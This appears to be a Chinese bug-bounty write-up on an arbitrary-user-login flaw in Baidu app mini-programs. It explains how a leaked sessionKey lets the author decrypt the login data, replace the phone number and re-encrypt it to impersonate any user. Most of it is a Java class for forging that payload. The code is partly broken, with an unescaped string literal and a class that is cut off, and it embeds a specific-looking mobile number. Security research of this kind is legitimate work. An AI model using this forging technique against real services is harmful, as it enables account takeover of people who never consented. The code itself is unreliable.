在一次百度src的活动中,对百度app内的功能进行测试时,发现其中也有小程序功能,对其进行测试发现存在和微信类似的任意用户登录问题
寻找小程序
在百度app中
即可发现各种小程序,在百度小程序相关的官方文档中
https://smartprogram.baidu.com/forum/search?query=sessionKey&scope=devdocs&source=docs
与微信小程序的流程差不多,在小程序里面寻找泄露sessionKey的
一开始看到这个格式,以为sessionKey是被加密了,找了几个小程序也没找到有泄露sessionKey的地方,于是还是去看了官方文档。
https://smartprogram.baidu.com/docs/develop/function/login_userdata/ https://smartprogram.baidu.com/docs/develop/api/open/getSessionKey/
百度的sessionKey与微信的不太一样,就是这种格式。
任意用户登录测试
有了sessionKey就可以去加解密登录授权中的加密数据,这里百度小程序的登录请求包和微信也类似
这里官方已经提供好了解密代码
填充信息,进行解密测试
这里百度小程序解密后只有一个手机号字段
修改手机号,对信息进行加密,替换数据包
即可进行任意用户登录
加解密代码
import java.nio.ByteBuffer;
import java.nio.charset.Charset;
import java.util.Arrays;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class Demo {
private static Charset CHARSET = Charset.forName("utf-8");
public String encrypt(String text, String appKey, String sessionKey, String ivStr) throws Exception {
byte[] textBytes = text.getBytes(CHARSET);
byte[] appKeyBytes = appKey.getBytes(CHARSET);
//16字节随机填充内容,4字节用户数据长度,后跟用户数据和appkey
byte[] beforeEncryptBytes = new byte[16 + 4 + textBytes.length + appKeyBytes.length];
//复制用户长度
System.arraycopy(ByteBuffer.allocate(4).putInt(textBytes.length).array(), 0, beforeEncryptBytes, 16, 4);
//复制用户数据
System.arraycopy(textBytes, 0, beforeEncryptBytes, 20, textBytes.length);
System.arraycopy(appKeyBytes, 0, beforeEncryptBytes, 20 + textBytes.length, appKeyBytes.length);
byte[] pkcs7 = PKCS7Encoder.encode(beforeEncryptBytes.length);
beforeEncryptBytes = Arrays.copyOf(beforeEncryptBytes, beforeEncryptBytes.length + pkcs7.length);
System.arraycopy(pkcs7, 0, beforeEncryptBytes, beforeEncryptBytes.length - pkcs7.length, pkcs7.length);
byte[] aesKey = Base64.getDecoder().decode(sessionKey);
byte[] encrypted;
try {
Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES");
byte[] ivBytes = Base64.getDecoder().decode(ivStr);
IvParameterSpec iv = new IvParameterSpec(ivBytes);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, iv);
encrypted = cipher.doFinal(beforeEncryptBytes);
} catch (Exception e) {
throw new Exception(e);
}
return Base64.getEncoder().encodeToString(encrypted);
}
/**
* 对密文进行解密
*
* @param text 需要解密的密文
*
* @return 解密得到的明文
*
* @throws Exception 异常错误信息
*/
public String decrypt(String text, String sessionKey,String ivStr) throws Exception {
byte[] aesKey = Base64.getDecoder().decode(sessionKey);
byte[] original;
try {
Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES");
byte[] ivBytes = Base64.getDecoder().decode(ivStr);
IvParameterSpec iv = new IvParameterSpec(ivBytes);
cipher.init(Cipher.DECRYPT_MODE, keySpec, iv);
byte[] encrypted = Base64.getDecoder().decode(text);
original = cipher.doFinal(encrypted);
} catch (Exception e) {
throw new Exception(e);
}
String xmlContent;
String fromClientId;
try {
// 去除补位字符
byte[] bytes = PKCS7Encoder.decode(original);
// 分离16位随机字符串,网络字节序和ClientId
byte[] networkOrder = Arrays.copyOfRange(bytes, 16, 20);
int xmlLength = recoverNetworkBytesOrder(networkOrder);
if (xmlLength > 65535) {
/*
* 注意:开发者解密加密数据出现乱码或者偶发OOM,一般是sessionKey过期导致
*
* 开发者可以根据实际情况,改变判断值大小
*/
throw new RuntimeException("aesKey invalid");
}
xmlContent = new String(Arrays.copyOfRange(bytes, 20, 20 + xmlLength), CHARSET);
fromClientId = new String(Arrays.copyOfRange(bytes, 20 + xmlLength, bytes.length), CHARSET);
} catch (Exception e) {
throw new Exception(e);
}
return xmlContent;
}
public static String getType(Object test) {
return test.getClass().getName().toString();
}
/**
* 还原4个字节的网络字节序
*
* @param orderBytes 字节码
*
* @return sourceNumber
*/
private int recoverNetworkBytesOrder(byte[] orderBytes) {
int sourceNumber = 0;
int length = 4;
int number = 8;
for (int i = 0; i < length; i++) {
sourceNumber <<= number;
sourceNumber |= orderBytes[i] & 0xff;
}
return sourceNumber;
}
/**
* 加密解密demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
//String dy = "Ix;
//String dy = "x";
String sessionKey = "xxxx";
String iv = "xxx==";
String appkey = "xxx";
Demo demo = new Demo();
//String dy = demo.encrypt("ceshi", "123", sessionKey, iv);
String dy = demo.encrypt("{"mobile":"17314883656"}", "123", sessionKey, iv);
String dd = demo.decrypt(dy, sessionKey, iv);
System.out.println(dy);
System.out.println(dd);
}
}
class PKCS7Encoder {
static Charset CHARSET = Charset.forName("utf-8");
static int BLOCK_SIZE = 32;
/**
* 获得对明文进行补位填充的字节.
*
* @param count 需要进行填充补位操作的明文字节个数
*
* @return 补齐用的字节数组
*/
static byte[] encode(int count) {
// 计算需要填充的位数
int amountToPad = BLOCK_SIZE - (count % BLOCK_SIZE);
if (amountToPad == 0) {
amountToPad = BLOCK_SIZE;
}
// 获得补位所用的字符
char padChr = chr(amountToPad);
String tmp = new String();
for (int index = 0; index < amountToPad; index++) {
tmp += padChr;
}
return tmp.getBytes(CHARSET);
}
/**
* 删除解密后明文的补位字符
*
* @param decrypted 解密后的明文
*
* @return 删除补位字符后的明文
*/
static byte[] decode(byte[] decrypted) {
int pad = (int) decrypted[decrypted.length - 1];
if (pad < 1 || pad > 32) {
pad = 0;
}
return Arrays.copyOfRange(decrypted, 0, decrypted.length - pad);
}
/**
* 将数字转化成ASCII码对应的字符,用于对明文进行补码
*
* @param a 需要转化的数字
*
* @return 转化得到的字符
*/
static char chr(int a) {
byte target = (byte) (a & 0xFF);
return (char) target;
}
原文始发于微信公众号(Str1am Record):百度app小程序任意用户登录
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论